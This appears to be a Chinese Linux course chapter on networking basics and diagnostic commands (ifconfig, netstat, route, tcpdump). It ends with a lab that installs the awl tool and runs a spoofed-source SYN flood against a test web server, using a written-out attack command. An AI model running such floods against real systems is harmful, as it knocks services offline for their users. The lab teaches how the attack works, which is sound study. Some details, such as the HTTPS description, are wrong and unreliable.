1. 程式人生 > >Centos7.5- Linux網路管理技術

Centos7.5- Linux網路管理技術

本節所講內容:

- 18.1  OSI七層模型和TCP/IP四層模型
- 18.2  linux網路相關的除錯命令
 - 18.3  實戰-在區域網中使用 awl偽裝MAC地址進行多執行緒SYN洪水***

18.1 OSI七層模型和TCP/IP四層模型

18.1.1 OSI七層參考模型,TCP/IP四層參考模型

在這裡插入圖片描述

OSI七層模型:OSI(Open System Interconnection)開放系統互連參考模型是國際標準化組織(ISO)制定的一個用於計算機或通訊系統間互聯的標準體系。
TCP/IP四層模型:TCP/IP參考模型是計算機網路的祖父ARPANET和其後繼的因特網使用的參考模型。
分層作用:方便管理


在這裡插入圖片描述
七層模型優點:
1、把複雜的網路劃分成為更容易管理的層(將整個龐大而複雜的問題劃分為若干個容易處理的小問題)
2、沒有一個廠家能完整的提供整套解決方案和所有的裝置,協議.
3、獨立完成各自該做的任務,互不影響,分工明確,上層不關心下層具體細節,分層同樣有益於網路排錯
功能與代表裝置
分層 名字 功能 工作在該層的裝置
7 應用層 提供使用者介面 QQ,IE 。應用程式
6 表示層 表示資料,進行加密等處理
5 會話層 將不同應用程式的資料分離
4 傳輸層 提供可靠或不可靠的傳輸,在重傳前執行糾錯 防火牆
3 網路層 提供邏輯地址,路由器使用它們來選擇路徑 三層交換機、路由器
2 資料鏈路層 將分組拆分為位元組,並講位元組組合成幀,使用MAC地址提供介質訪問,執行錯誤檢測,但不糾錯 二層交換機,網絡卡
1 物理層 在裝置之間傳輸位元,指定電平,電纜速度和電纜針腳 集線器

互動:為什麼現代網路通訊過程中用TCP/IP四層模型,而不是用OSI七層模型呢?
OSI七層模型是理論模型,一般用於理論研究,他的分層有些冗餘,實際應用,選擇

  • TCP/IP的四層模型。而且 OSI 自身也有缺陷,大多數人都認為 OSI
    模型的層次數量與內容可能是最佳的選擇,其實並非如此,其中會話層和表示層幾乎是空的,而資料鏈路層和網路層包含內容太多,有很多的子層插入,每個子層都有不同的功能。

18.1.2 常見網路相關的協議

  • ARP(Address Resolution Protocol):地址解析協議,將IP解析成MAC地址 DNS:域名解析協議
    www.baidu.com SNMP(Simple Network Management Protocol)網路管理協議
    DHCP(Dynamic Host Configuration
    Protocol)動態主機配置協議,它是在TCP/IP網路上使客戶機獲得配置資訊的協議 FTP(File Transfer
    Protocol)檔案傳輸協議,它是一個標準協議,是在計算機和網路之間交換檔案的最簡單的方法。 HTTP(Hypertext
    Transfer Protocol ):超文字傳輸協議 HTTPS(Secure Hypertext Transfer
    Protocol):安全超文字傳輸協議,它是由Netscape開發並內置於其瀏覽器中,用於對資料進行壓縮和解壓操作.
    ICMP(Internet Control Message Protocol):Internet控制資訊協議,網際網路控制報文協議 ping
    ip定義訊息型別有:TTL超時、地址的請求與應答、資訊的請求與應答、目的地不可到達 SMTP(Simple Mail Transfer
    Protocol):簡單郵件傳送協議 TELNET Protocol:虛擬終端協議 TFTP(Trivial File Transfer
    Protocol):小檔案傳輸協議 UDP(User Datagram
    Protocol):使用者資料報協議,它是定義用來在互連網路環境中提供包交換的計算機通訊的協議 TCP(Transmission
    Control Protocol): 傳輸控制協議,是一種面向連線的、可靠的、基於位元組流的傳輸層通訊協議
    log轉發:開啟一個協議:tcp(三次握手和四次揮手)

TCP協議和UDP協議的區別
(1)TCP協議:TCP(Transmission Control Protocol,傳輸控制協議)是面向連線的協議,在收發資料前,必須和對方建立可靠的連線。
(2)UDP協議:UDP 是User Datagram Protocol的簡稱, 中文名是使用者資料報協議,是一種無連線的傳輸層協議,提供面向事務的簡單不可靠資訊傳送服務
總結:TCP與UDP的區別:
1.基於連線與無連線;
2.對系統資源的要求(TCP較多,UDP少);
3.UDP程式結構較簡單;UDP資訊包的標題很短,只有8個位元組,相對於TCP的20個位元組資訊包的額外開銷很小。所以傳輸速度可更快
4.TCP保證資料正確性,UDP可能丟包;TCP保證資料順序,UDP不保證。
場景: 視訊,語音通訊使用udp,或網路環境很好,比如區域網中通訊可以使用udp。 udp資料傳輸完整性,可以通過應用層的軟體來校對就可以了。
tcp傳檔案,資料完整性要求高。

18.1.3 TCP和UDP 常用埠號名稱

(1)TCP 埠分配
21  ftp 檔案傳輸服務
22  ssh 安全遠端連線服務
23  telnet  遠端連線服務
25  smtp    電子郵件服務
53  DNS 域名解析服務,有tcp53也有用udp53埠傳輸
80  http    web服務
443 https   安全web服務

互動:如果你不知道哪個埠對應哪個服務怎麼辦?如873埠是哪個服務的?

[[email protected] ~]# vim /etc/services    #此檔案中,包含所有常見埠號及服務名稱

#此檔案可以檢視常用埠對應的名字。iptables或netstat要把埠解析成協議名時,都需要使用到這個檔案。另外後期xinetd服務管理一些小服務時,也會使用到此檔案來查詢對應的小服務埠號。
注:有的服務是UDP和TCP埠都會監聽的

18.1.4 IP地址分類

IP地址分5類,常見的地址是A、B、C 三類
A類地址:範圍從0-127,0是保留的並且表示所有IP地址,而127也是保留的地址,並且是用於測試環回口用的。因此A類地址的可用的範圍其實是從1-126之間。以子網掩碼:255.0.0.0.
B類地址:範圍從128-191,如172.168.1.1,以子網掩碼來進行區別:255.255.0.0
C類地址:範圍從192-223,以子網掩碼來進行區別: 255.255.255.0
D類地址:範圍從224-239,被用在多點廣播(Multicast)中。多點廣播地址用來一次定址一組計算機,它標識共享同一協議的一組計算機。

E類地址:範圍從240-254,為將來使用保留。 

ABC 3類中私有IP地址範圍:
A:10.0.0.0--10.255.255.255  /8
B:  172.16.0.0--172.31.255.255  /16
C:  192.168.0.0--192.168.255.255  /24

互動: ping 127.0.0.1 可以ping通。ping 127.23.23.23 可以ping通嗎?
結論:這個127這個網段都用於環回口

[[email protected] ~]# ping 127.23.23.23
PING 127.23.23.23 (127.23.23.23) 56(84) bytes of data.
64 bytes from 127.23.23.23: icmp_seq=1 ttl=64 time=0.360 ms
64 bytes from 127.23.23.23: icmp_seq=2 ttl=64 time=0.068 ms

Linux架構師高薪入口:
1.學神IT教育官方網站: http://xuegod.ke.qq.com
2.10年行業資深老鳥MK:QQ2659153446
3.加入Linux技術交流QQ群:722287089,即可獲得以下福利:
①定期分享免費學習資料與視訊(工具+筆記+拓展實戰)
②10年行業資深老鳥線上答疑:技能+實戰+專案分享+高薪就業
③有機會免費領取Linux雲端計算叢集架構師4冊書籍

18.2 linux網路相關的除錯命令

18.2.1 檢視網絡卡物理連線是否正常

[[email protected] ~]# mii-tool ens33
ens33: negotiated 1000baseT-FD flow-control, link ok

檢視IP相關資訊

ifconfig命令被用於配置和顯示Linux核心中網路介面的網路引數。
[[email protected] ~]# ifconfig

常見的一些網路介面
eth0 ..... eth4 ...   乙太網介面(linux6)
waln0      無線介面
eno177776  乙太網介面 (linux7)
ens33   乙太網介面(linux7)
bond0  team0   網絡卡繫結介面
virbr0  虛擬交換機橋接介面
br0    虛擬網橋介面
lo      本地迴環介面
vnet0   KVM虛擬機器網絡卡介面
18.2.2  修改網絡卡IP地址
方法1:手工修改網絡卡配置檔案
[[email protected] ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE=Ethernet            #設定型別是乙太網裝置,如圖:

在這裡插入圖片描述

PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none    # 引數:static靜態IP 或dhcp 或none無(不指定),如是none,配上IP地址和static效果一樣
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33    #網絡卡名字
UUID=c713acec-674b-411d-9e61-646482a292ca   #網絡卡UUID,全球唯一
DEVICE=ens33   #裝置名字,在核心中識別的名字
ONBOOT=yes    #啟用該裝置,如果no,表示不啟動此網路裝置
IPADDR=192.168.1.63    #IP地址
PREFIX=24           #子網掩碼,24相當於255.255.255.0
GATEWAY=192.168.1.1    #預設閘道器
DNS1=114.114.114.114    #首選DNS地址
DNS2=8.8.8.8    #備用DNS地址
IPV6_PRIVACY=no 
PEERDNS=no

例1: 給虛擬機器再新增一個網絡卡,並手動成生網絡卡配置檔案

[[email protected] ~]# init 0
新增一塊網絡卡

新加的網絡卡,也使用橋接模式。

[[email protected] ~]# ifconfig -a   # -a檢視所有網路裝置,包括沒有啟動的網絡卡裝置
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
。。。
ens38: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
注:我這裡顯示第二塊網絡卡名字是ens38,你那邊可能不是。這是由核心實別出來的

預設新增加的網絡卡沒有配置檔案,現在手動新增一個
[[email protected] ~]# cd /etc/sysconfig/network-scripts/
[[email protected] network-scripts]# cp ifcfg-ens33 ifcfg-ens38
[[email protected] network-scripts]# vim ifcfg-ens38    #修改內容
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens38
UUID=c713acec-674b-411d-9e61-646482a292ca   #這一行刪除掉
DEVICE=ens38
ONBOOT=yes
IPADDR=192.168.1.68   #改成68 IP
PREFIX=24
GATEWAY=192.168.1.1
DNS1=114.114.114.114
IPV6_PRIVACY=no
PEERDNS=no
[[email protected] ~]# systemctl restart NetworkManager   
[[email protected] ~]# ifconfig  #發現ens38 ,IP地址沒有修改成功
[[email protected] ~]# service  network restart   #重啟網路服務生效
[[email protected] ~]# ifconfig  #發現ens38 ,IP地址配置成功

方法2:[[email protected] ~]# nmtui-edit 字元介面配IP, 瞭解一下

例1:啟動關閉指定網絡卡:

[[email protected] ~]# ifconfig ens38 down
[[email protected] ~]# ifconfig 
[[email protected] ~]# ifconfig ens38 up

例2:臨時配置IP地址

[[email protected] ~]# ifconfig ens38 192.168.1.90

[[email protected] ~]# ifconfig ens38 192.168.1.90 netmask 255.255.255.0

例3:給一個網路臨時配置多個IP地址

[[email protected] ~]# ifconfig ens33:1  192.168.1.3 netmask 255.255.255.0
[[email protected] ~]# ifconfig 
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
 。。。
ens33:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.3  netmask 255.255.255.0  broadcast 192.168.1.255

Centos7.5- Linux網路管理技術18.2.3 檢視埠的監聽狀態

netstat 命令: 檢視系統中網路連線狀態資訊,   
常用的引數格式 :  netstat -anutp  
   -a, --all  顯示本機所有連線和監聽的埠
   -n, --numeric    don't resolve names  以數字形式顯示當前建立的有效連線和埠
   -u  顯示udp協議連線
   -t  顯示tcp協議連線
   -p, --programs   顯示連線對應的PID與程式名

Proto===連線協議的種類
Recv-Q====接收到位元組數
Send-Q====從本伺服器,發出去的位元組數
Local Address====本地的IP地址,可以是IP,也可以是主機名
Foreign Address====遠端主機的IP 地址
網路連線狀態STATE:
      CLOSED : 初始(無連線)狀態。
      LISTEN :  偵聽狀態,等待遠端機器的連線請求。
            ESTABLISHED: 完成TCP三次握手後,主動連線端進入ESTABLISHED狀態。此時,TCP連線已經建立,可以進行通訊。
             TIME_WAIT :  在TCP四次揮手時,主動關閉端傳送了ACK包之後,進入TIME_WAIT狀態,等待最多MSL時間,讓被動關閉端收到ACK包。
      擴充套件:MSL 
MSL,即Maximum Segment Lifetime,一個數據分片(報文)在網路中能夠生存的最長時間,在RFC 793中定義MSL通常為2分鐘,即超過兩分鐘即認為這個報文已經在網路中被丟棄了。對於一個TCP連線,在雙方進入TIME_WAIT後,通常會等待2倍MSL時間後,再關閉掉連線,作用是為了防止由於FIN報文丟包,對端重發導致與後續的TCP連線請求產生順序混亂

實戰:伺服器上有大量TIME_WAI連線,如何優化TCP連線,快速釋放tcp連線 ?
[[email protected] ~]# netstat  -antup | grep   TIME_WAI 
tcp        0      0 123.57.82.225:80            111.196.245.241:4002        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:3970        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:4486        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:3932        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:3938        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:3917        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:3944        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:3957        TIME_WAIT   -                   
tcp        0      0 123.57.82.225:80            111.196.245.241:3922        TIME_WAIT   -
解決:
例:linux下預設MSL等待時間是60秒
[[email protected] ipv4]# cat /proc/sys/net/ipv4/tcp_fin_timeout
60 秒    
[[email protected] ipv4]# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout  #通過縮短時間time_wait時間來快速釋放連結

修改主機名配置檔案,作用:設定主機名永久生效

[[email protected] ~]# vim  /etc/hostname
xuegod63.cn

配置IP與主機名(域名)的對應關係。

[[email protected] ~]# vim /etc/hosts  #優先順序高於DNS解析
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.63   xuegod63.cn
192.168.1.64   xuegod64.cn
192.168.1.62   xuegod62.cn

18.2.4 配置DNS-路由相關資訊

DNS配置的配置檔案
[[email protected] ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
search cn
nameserver 114.114.114.114 
注:在centos5版本,配置DNS用這個檔案。在centos6以後,直接在網絡卡配置檔案中指定:DNS1=192.168.1.1
預設情況下,域名解析順序: 本地hosts檔案-》DNS查詢

互動:是不是一定先解析hosts再解析DNS?

本機域名解析順序
[[email protected] ~]# vim /etc/nsswitch.conf   #查詢以下內容
#hosts:     db files nisplus nis dns
hosts:      files dns myhostname   #可以看到是先檢視 files hosts檔案,再檢視DNS的

檢視路由資訊:

[[email protected] ~]# route  -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.1.0     0.0.0.0         255.255.255.0       U     0      0        0 eth0
169.254.0.0     0.0.0.0         255.255.0.0         U     1002   0        0 eth0
0.0.0.0         192.168.1.1     0.0.0.0              UG    0      0        0 eth0
注:0.0.0.0         192.168.1.1     0.0.0.0   #0.0.0.0是32位二進位制轉換成十進位制的寫法。32位子網掩碼都為0。表示IP地址32位都是主機位。如果IP地址是0.0.0.0,子網掩碼也是0.0.0.0,則表示所有的IP地址,或者是沒有IP地址。
引數:  -n  :不要使用通訊協定或主機名稱,直接使用 IP 或 port number;
route命令輸出的路由表字段含義如下:
    Destination 目標  :The destination network or destination host. 目標網路或目標主機。
      Gateway 閘道器  :閘道器地址,如果是本地網段IP,就顯示0.0.0.0 
      Genmask  :子網掩碼  

新增/刪除路由條目:
[[email protected] ~]# route add [-net|-host] [網域或主機] netmask [mask] [gw|dev]
[[email protected] ~]# route del [-net|-host] [網域或主機] netmask [mask] [gw|dev]
增加 (add) 與刪除 (del) 路由的相關引數:
  -net    :表示後面接的路由為一個網域;
  -host  :表示後面接的為連線到單部主機的路由;
  netmask :與網域有關,可以設定 netmask 決定網域的大小;
  gw      :gateway 的簡寫,後續接的是 IP 的數值喔,與 dev 不同;
  dev    :如果只是要指定由那一塊網路卡連線出去,則使用這個設定,後面接 eth0 等
例:
新增/刪除路由條目:
新增路由(把Linux做成路由器時或伺服器有多個網絡卡,指定到不同網段走哪個網絡卡)
實戰場景:多個網絡卡,多個網段,實現不同資料走不同網絡卡。如果網路管理和生產資料分開管理。 
[[email protected] ~]#  route add -net 192.168.2.0 netmask 255.255.255.0 dev ens38
[[email protected] ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    100    0        0 ens33
0.0.0.0         192.168.1.1     0.0.0.0         UG    101    0        0 ens38
192.168.1.0     0.0.0.0         255.255.255.0   U     100    0        0 ens33
192.168.1.0     0.0.0.0         255.255.255.0   U     101    0        0 ens38
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 ens38

刪除路由
[[email protected] ~]# route del -net 192.168.2.0 netmask 255.255.255.0

路由跟蹤:檢視經過多少個路由器到目標網址:
實戰場景: 新上線的伺服器 www.xuegod.cn , 北京使用者需要經過幾跳可以到達伺服器。 
[[email protected] ~]# traceroute baid.com
traceroute to baid.com (184.154.126.180), 30 hops max, 60 byte packets
 1  gateway (192.168.1.1)  173.447 ms  170.522 ms  170.644 ms
 2  10.70.0.1 (10.70.0.1)  424.751 ms  424.462 ms  424.138 ms
 3  61.51.54.41 (61.51.54.41)  172.110 ms  171.752 ms  171.413 ms
 4  bt-227-241.bta.net.cn (202.106.227.241)  171.245 ms  171.062 ms  170.805 ms
 5  202.96.12.1 (202.96.12.1)  169.427 ms  169.097 ms  168.747 ms
 6  219.158.15.38 (219.158.15.38)  168.518 ms 219.158.19.226 (219.158.19.226)  39.792 ms  39.078 ms
 7  219.158.103.42 (219.158.103.42)  39.969 ms  48.603 ms  48.222 ms
 8  219.158.103.30 (219.158.103.30)  47.984 ms 219.158.98.94 (219.158.98.94)  38.772 ms  47.271 ms
 9  219.158.30.42 (219.158.30.42)  200.250 ms  204.371 ms  204.074 ms
10  sjo-b21-link.telia.net (213.248.73.189)  290.052 ms  290.775 ms  287.952 ms
11  kanc-b1-link.telia.net (213.155.132.181)  331.740 ms  333.284 ms  333.632 ms
12  chi-b21-link.telia.net (213.155.130.176)  340.701 ms  339.143 ms *
13  * * serverhub-ic-324864-chi-b21.c.telia.net (62.115.154.247)  336.831 ms
14  agg1.c13.r07.s101.chi03.singlehop.net (67.212.190.226)  352.706 ms  758.439 ms  552.097 ms
15  cr1.c09c10.r15.s101.chi03.singlehop.net (67.212.183.211)  325.025 ms  339.397 ms  340.297 ms
16  server2.homelike.com (184.154.126.180)  341.447 ms  342.154 ms  343.028 ms

ping命令的一般格式為:

-c 數目 在傳送指定數目的包後停止。
-i 秒數 設定間隔幾秒送一個網路封包給一臺機器,預設值是一秒送一次。
[[email protected] ~]# ping -i 0.01 192.168.1.1

指定從哪個端口出去。使用引數大寫的I
ping -I ens33 192.168.1.1   

互動:當IP地址衝突後或閘道器衝突後,在windows下有這個,在linux怎麼辦?

arping: 檢視IP地址是否有衝突
例:檢視閘道器是否有衝突
[[email protected] ~]# arping -I ens33  192.168.1.1
ARPING 192.168.1.1 from 192.168.1.63 ens33
Unicast reply from 192.168.1.1 [80:9F:AB:08:EB:CA]  3.786ms
Unicast reply from 192.168.1.1 [80:9F:AB:08:EB:CA]  2.631ms

watch 
作用:實時監測命令的執行結果,可以看到所有變化資料包的大小
-d, --differences  ['dɪfərəns]       #高亮顯示指令輸出資訊不同之處;
-n, --interval seconds   [ˈɪntəvl]   #指定指令執行的間隔時間(秒);
例1:每隔1秒高亮差異顯示ens33相關資訊
[[email protected] ~]# watch -d -n 1  "ifconfig ens33"
Ctrl+c 就可以退出~

<font color=#000000 size=5 face="微軟雅黑">18.3 實戰-在區域網中使用 awl偽裝MAC地址進行多執行緒SYN洪水***

http://ssa.yundun.com/cc 雲盾全球實時***圖  
你現在學得是第一階段中的內容,這個案例是讓你開眼界!

18.3.1 tcp三次握手及tcp連線狀態

TCP報文段的首部格式:

需要了解的資訊:
ACK : TCP協議規定,只有ACK=1時有效,也規定連線建立後所有傳送的報文的ACK必須為1
SYN(SYNchronization) : 在連線建立時用來同步序號。當SYN=1而ACK=0時,表明這是一個連線請求報文。對方若同意建立連線,則應在響應報文中使SYN=1和ACK=1. 因此,  SYN置1就表示這是一個連線請求或連線接受報文。
synchronization  [ˌsɪŋkrənaɪ'zeɪʃn]  同步
FIN (finis)即完,終結的意思, 用來釋放一個連線。當 FIN = 1 時,表明此報文段的傳送方的資料已經發送完畢,並要求釋放連線。
finis   ['faɪnɪs]  終結

建立tcp連線時的tcp三次握手和斷開tcp連線時的4次揮手整體過程說明圖:
在這裡插入圖片描述
實戰1:使用tcpdump抓包檢視tcp三次握手過程

tcp三次握手過程:
Client:我可以給你發資料嗎?
Server:可以
Client:好的

三次握手的核心是: 確認每一次包的序列號。

tcp三次握手過程:
1、首先由Client發出請求連線即 SYN=1,宣告自己的序號是 seq=x
2、然後Server 進行回覆確認,即 SYN=1 ,宣告自己的序號是 seq=y, 並設定為ack=x+1,
3、最後Client 再進行一次確認,設定  ack=y+1.

tcpdump常用引數:
-c         指定包個數
-n        IP,埠用數字方式顯示
port   指定埠 

互動:如何產生tcp的連結?

在xuegod63上登入xuegod64,抓取ssh遠端登入xuegod64時,產生的tcp三次握手包:
[[email protected] ~]# ifconfig ens38 down 
[[email protected] ~]# tcpdump   -n  -c 3 port 22  -i ens33
開啟另一個終端,開始建立tcp連線:
[[email protected] Desktop]# ssh [email protected]
The authenticity of host '192.168.1.64 (192.168.1.64)' can't be established.
RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:63.
Are you sure you want to continue connecting (yes/no)?   #到這裡就不用執行了,tcp已經建立連線

檢視資料包:

[[email protected] ~]# tcpdump   -n  -c 3 port 22  -i ens33 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
10:34:54.874512 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [S], seq 2421809005, win 29200, options [mss 1460,sackOK,TS val 2231108 ecr 0,nop,wscale 7], length 0
10:34:54.876367 IP 192.168.1.64.ssh > 192.168.1.63.59528: Flags [S.], seq 4293815945, ack 2421809006, win 28960, options [mss 1460,sackOK,TS val 542827 ecr 2231108,nop,wscale 7], length 0
10:34:54.877387 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 2231111 ecr 542827], length 0

注:Flags [S] 中的 S 表示為SYN包為1

client主機返回ACK,包序號為ack=1 ,這是相對序號,如果需要看絕對序號,可以在tcpdump命令中加-S
[[email protected] ~]# tcpdump -n -c 3 port 22  -S  -i ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:00:54.310316 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [S], seq 1932774705, win 14600, options [mss 1460,sackOK,TS val 5103659 ecr 0,nop,wscale 7], length 0
16:00:54.311072 IP 192.168.1.64.ssh > 192.168.1.63.57528: Flags [S.], seq 3006844046, ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103659,nop,wscale 7], length 0
16:00:54.311175 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.], ack 3006844047, win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 0
3 packets captured
3 packets received by filter
0 packets dropped by kernel

TCP三次握手連線狀態詳解:
在這裡插入圖片描述

TCP連線狀態詳解:

伺服器端:LISTEN:偵聽來自遠方的TCP埠的連線請求
客戶端:SYN-SENT:在傳送連線請求後等待匹配的連線請求
伺服器端:SYN-RECEIVED:在收到和傳送一個連線請求後等待對方對連線請求的確認
客戶端/伺服器端:ESTABLISHED:代表一個開啟的連線

18.3.2 實戰:在區域網中使用 awl偽裝IP地址進行多執行緒SYN洪水***

SYN洪水***概述:SYN洪水***主要源於: tcp協議的三次握手機制

SYN洪水***的過程:

  • 在服務端返回一個確認的SYN-ACK包的時候有個潛在的弊端,如果發起的客戶是一個不存在的客戶端,那麼服務端就不會接到客戶端迴應的ACK包。
    這時服務端需要耗費一定的數量的系統記憶體來等待這個未決的連線,直到等待超關閉,才能施放記憶體。

如果惡意者通過通過ip欺騙,傳送大量SYN包給受害者系統,導致服務端存在大量未決的連線並佔用大量記憶體和tcp連線,從而導致正常客戶端無法訪問服務端,這就是SYN洪水***的過程。
懂:1 不懂:2
實戰拓撲圖:

在這裡插入圖片描述

下載地址:https://gitlab.com/davical-project/awl/tags
在xuegod63 安裝awl軟體進行***:

在這裡插入圖片描述

通過xshell上傳awl-0.2.tar.gz到Linux系統中

開始安裝awl

[[email protected] ~]#tar zxvf awl-0.2.tar.gz  #解壓
[[email protected] ~]#cd awl-0.2
[[email protected] awl-0.2]#./configure   # 查檢軟體包安裝環境
[[email protected] awl-0.2]#make  -j  4   
#make  把原始碼編譯成可執行的二進位制檔案

# -j 4以4個程序同時編譯,速度快

[[email protected] awl-0.2]#make install   #安裝
檢視安裝的命令:
[[email protected] awl-0.2]# which awl
/usr/local/bin/awl

在xuegod64上搭建一臺web伺服器,模擬要被***的伺服器
[[email protected] ~]# yum install httpd -y  #安裝web伺服器
[[email protected] ~]# systemctl start httpd
[[email protected] ~]# iptables -F

開始***:

實戰4: 在區域網中使用 awl偽裝IP地址進行多執行緒SYN***

獲取對方的IP地址解析成MAC地址
[[email protected] ~]# ping 192.168.1.64

[[email protected] ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.17             ether   e0:b9:a5:ac:c5:76        C                     eth0
192.168.1.64             ether   00:0c:29:57:f5:b5        C                     eth0

開始***:
awl引數如下:

-i 傳送包的介面,如果省略預設是eth0
-m 指定目標mac地址    注:如果-m沒有指定mac,預設目標MAC地址是“FF.FF.FF.FF.FF.FF”,
FF.FF.FF.FF.FF.FF  MAC地址是什麼?
這表示向同一網段內的所有主機發出ARP廣播,進行SYN***,還容易使整個區域網癱瘓。
-d 被***機器的IP
-p 被***機器的埠

兩臺機器:
[[email protected] ~]# iptables -F
[[email protected] ~]# awl -i ens33 -m 00:0c:29:57:f5:b5 -d 192.168.1.64 -p 80

測試***效果:
在xuegod64上檢視:發現很多偽裝成公網的IP在***我們

Linux架構師高薪入口:
1.學神IT教育官方網站: http://xuegod.ke.qq.com
2.10年行業資深老鳥MK:QQ2659153446
3.加入Linux技術交流QQ群:722287089,即可獲得以下福利:
①定期分享免費學習資料與視訊(工具+筆記+拓展實戰)
②10年行業資深老鳥線上答疑:技能+實戰+專案分享+高薪就業
③有機會免費領取Linux雲端計算叢集架構師4冊書籍
微信公眾號:
在這裡插入圖片描述
MK老師微訊號:
在這裡插入圖片描述
總結:

  • 18.1 OSI七層模型和TCP/IP四層模型
  • 18.2 linux網路相關的除錯命令
  • 18.3 實戰:在區域網中使用 awl偽裝MAC地址進行多執行緒SYN洪水***